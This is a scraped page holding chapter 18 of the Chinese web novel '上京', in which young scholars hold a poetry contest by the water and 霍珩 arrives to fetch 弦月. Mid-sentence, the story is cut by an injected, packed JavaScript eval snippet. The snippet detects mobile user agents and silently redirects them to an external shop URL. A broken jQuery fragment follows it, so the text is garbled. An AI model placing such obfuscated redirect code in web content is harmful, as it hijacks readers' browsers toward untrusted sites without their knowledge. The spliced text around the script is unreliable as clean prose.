文趣网 > 其他小说 > 上京 > 18. 第十八章
    对面有人发现她的小动作,学着她刚才的样子,指着她,“哎不能耍赖啊。”

    对面的人都笑起来,弦月难得脸一热,“把匣子拿过来!”

    小厮把匣子放她旁边,弦月随手一抽,却抽到个将士的词条,“这什么啊。”

    旁边的惏依看过纸条,也觉得这难度有些高了,给她递个自求多福的眼神,便默默不说话了。

    小厮拿过纸条,大声喊,“将士为题,请小姐作诗。”

    对面的周仲元见弦月皱着小脸冥思苦想的样子,动了恻隐之心,“不然这样吧,这题太为难小姐了,弦月小姐可以找人帮忙。”

    “这个规则可没提前说过啊。”

    “仲元你有些偏心了啊。”

    有人打趣,“仲元兄是不是有心思?”

    弦月期盼的眼神看过来,周仲元眼眸微闪,“那我就替弦月小姐作诗吧。”

    他略思考,便脱口而出,

    “岁岁金河复玉关,朝朝马策与刀环。

    三春白雪归青冢,万里黄河绕黑山。”

    弦月赶紧捧场,站起身来鼓掌,“这诗太好了!”

    众人玩到最后,天色已渐黄昏,有些许微风吹着柳条带来一丝凉爽,玩了许久匣子里还有不少纸条,酒也还有剩余,有人便提议,“不然我们大家一起想,谁作的诗最少就把剩下这些酒喝了。”

    “那不是奖励了吗?我先认输,我来喝酒。”那人作势便要端起酒杯。

    那人忙说,“那就不仅要喝酒,垫底的还要让大家弹脑门。”

    “有意思。”有人已等不及了,立马就从匣子里抽出一个纸条,“江水。”

    “我来我来。”

    那人生怕落后被弹脑门,不多想便说,“江天一色无纤尘,皎月孤悬照古今。”结果接下来的两句他没想好,就卡在那里了。

    惏依刚好有些头绪,接道,“流水不知身是客,声声犹作故园音。”

    刘信此前都一直回避看向对岸,只用余光留意惏依的一举一动。

    这时众人都看向惏依,他这才看向惏依一眼,停留一秒便立马看向别处。

    “惏依小姐接的好。”

    “那这个算谁的?”

    周仲元,“我们肯定不能弹两位小姐的脑门,她们可以作诗但不计入惩罚。”

    这样子接替作诗,不一会儿匣子就快空了。

    “纸条不多了,作诗少的人要抓紧了。”

    刘信旁边的同馆见他一直没有动静,撞撞他的肩膀,“你想什么呢,再不作诗就要被弹脑门了。”

    刘信这才恍然,回回心神。

    小厮从匣子里又抓取了一张纸条,念出来,“牡丹。”

    刘信立马答,“粉衣袅袅出仙乡,不借春风自吐芳。最是晚来妆面嫩,含羞犹带月边光。”

    说完脑中莫名想起惏依那日粉衣的模样,不自觉的眼神就瞟向她。

    却没想到惏依也正看着他,眼中含笑,他呆滞了一秒,便有些无措的转过头。

    “佳人为题作诗。”

    刘信又答,“隔花窥半面,临水照双瞳。不语春山静,低头露华浓。”

    连答两题,旁边的人佩服的看他,“可以啊,刘信,那刚才怎么一直不说话呢。”

    刘信眼神不自觉的又看向惏依,对方眼中似有赞扬般的笑着看他,他贪恋一秒后便又移开了视线。

    霍珩一下午都在翻看前年仓房失火的其他案卷,他心中对那御史有些想法,既然他的奏章被压下来一次,那同年份其他案子也说不定有猫腻。

    他看的投入,一转眼再抬头时已经黄昏了,他想起还答应了要去接弦月,便整理好案卷,去档房还完便要回去。

    晌午那书吏还在,看见霍珩,“大人准备回府了?”

    霍珩见他应是下值时分了还在档房,有些奇怪,“天都要黑了,还不回去?”

    “大人,在下要到明天有人接替才能走。”

    原来如此,霍珩无言,“辛苦了。”

    他看看旁边放的干粮,“等会儿我让小厮给你送点饭菜,别吃干粮了,小心身体。”

    “谢谢大人…”书吏眼中有些泪花,“大人也不用担心在下,我们值班是有津贴的,虽然微薄也是一份安慰。”

    霍珩出了衙门后,让小厮去买份饭菜送到档房,等小厮回来,他问,“弦月现在去哪玩了?”

    “弦月小姐和惏依小姐去积水潭了。”

    “去那干嘛?”

    弦月不是一向不爱看园中那些花草,霍珩还以为她现在和惏依在哪个酒楼吃饭了。

    “弦月小姐和人约着去积水潭修禊了。”

    霍珩看小厮一眼,“那就去积水潭吧。”

    积水潭处,最后的结果是徐闰以没有作出来诗的成绩吊车尾,他豪气的把酒壶端起一口气把酒喝了,旁边的人不等他喝完便已经等不及要弹他脑门了。

    徐闰闭着眼睛,一副视死如归的样子,“你们都轻点啊。”

    周仲元在第一个,他好以整暇的等徐闰准备好以后,两指一弹便碰上了他的脑门。

    “啊!”徐闰睁开眼,见是周仲元,“周仲元,你报复我呢。”

    周仲元哈哈大笑,“小时候我替你背了多少锅,终于轮到我还了。”

    他俩家世相仿,从小就认识在一起玩,本就有交情,下手便没轻没重。但其他的同馆毕竟相识不久,所以也只是象征性的弹了一下。

    李弦月觉得好玩,也想去弹一个,但又怕被惏依拦着,就趁她看热闹偷摸的跑到对岸,趁前面的人弹完,猝不及防的上前在徐闰脑门弹了一下。

    徐闰吃痛,有些生气的要看是谁这么用力,睁眼一看却是弦月满脸天真肆意的笑。

    他到口的话便咽下去,只小声嘟囔一声,“不是说好小姐不参与的吗?”

    刘信不想参与,趁旁人都没注意,走到惏依身边,“长姐等会儿要一起回府吗?”

    惏依看向对岸的弦月,“我得问问弦月,不知道霍珩什么时候来接她。”

    刘信疑惑反问,“霍公子?”

    惏依见弦月和对面的公子又玩起什么来了,有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611025|205784||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    些无奈,“弦月玩心太重也太容易相信别人了,我和她一起得保证她的安全,等她回府了我也就回去了。”

    说完她便也去了对岸,拉着李弦月衣袖到一边,“我们得走了弦月,不然到时候霍大人找不到你了。”

    明明弦月已十七了,惏依怎么总有一种在带着如妹玩的感觉。

    后面的公子,“弦月小姐,惏依小姐,我们也要走了,一起出去吧。”

    霍珩先一步到的积水潭园子,马车就停在门口,方便惏依一出门就能看到他。

    他脑中还在想着下午看的案卷,听到远处说说笑笑的声音,他闻声看去。

    走在最前面便是惏依和弦月,弦月看起来心情不错的样子,拉着惏依的袖子一蹦一跳的。

    后面跟着的便是其他的公子,几人走着走着有两人上前到了弦月身边,这两人霍珩还有些眼熟,似是京城哪家的公子。

    那两人说了些什么,弦月便转脸和他们说笑,惏依在旁边听着,似是在讲什么有趣的事,她脸上也挂着笑容,颇为灿烂。

    不一会儿后面却有一人走到了惏依身边,两人之间似是颇为熟稔,不像霍珩平常见惏依的那样虽与人笑,但总让人觉得有些疏离的样子。

    霍珩盯着他俩看,也不知道有什么好笑的,两人还一直说个不停,他心里有些难言的滋味,便转过脸不愿再看了。

    刘信原本是站在惏依后面的,越靠近园门他便越能感受到园门那处视线的存在,但惏依似乎没有察觉,只是笑着听旁边惏依和周仲元的对话。

    他远远打量着霍珩,心里猜想那人是不是就是惏依说的霍珩。

    周仲元和徐闰小时候就被弦月祖父教过书,那时他俩调皮还不少挨他的板子。

    他和弦月说起,她祖父在庶吉士馆又看到他和徐闰时候的表情。

    周仲元学着他板着一张脸,腔调怪异,“仲元啊,徐闰啊,你们可不愧是好友,小时候一起调皮捣蛋,长大了又一起发奋图强,考取功名是吧?”

    弦月大笑,“学的真像,我祖父每次就是这样训导我的。”

    她也有样学样,板着脸,一手负在背后一手指着周仲元,“弦月啊,你个小姑娘家家怎么就净想着出门玩,你母亲的贤淑端庄你怎么就没学到一点呢。”

    旁边的惏依和徐闰都忍不住翘起嘴角。

    周仲元继续和弦月说笑的时候,刘信不经意的走到惏依身边,“长姐,如妹这几天又闹着出来玩了吗?几天没见她了,本想着今日休沐陪她玩,却没想到同馆提出要一起聚聚增进感情。”

    惏依嘴角还带着笑意,不设防的偏头看他,“每天都闹着呢,还是和如玉如兰两个打打闹闹,闹不开心了就拉着婆子跑去西院找我呢。”

    刘信面上有些不好意思,“长姐还有自己的事要忙吧,我等会儿回去告诉如妹下次休沐就带她出去玩,不要总赖着长姐你。”

    “不要紧,如妹很可爱,和她玩我也很开心。”

    刘信说这话时视线还留意着霍珩那边,见对方转过头去,他嘴角勾起不明意味的笑。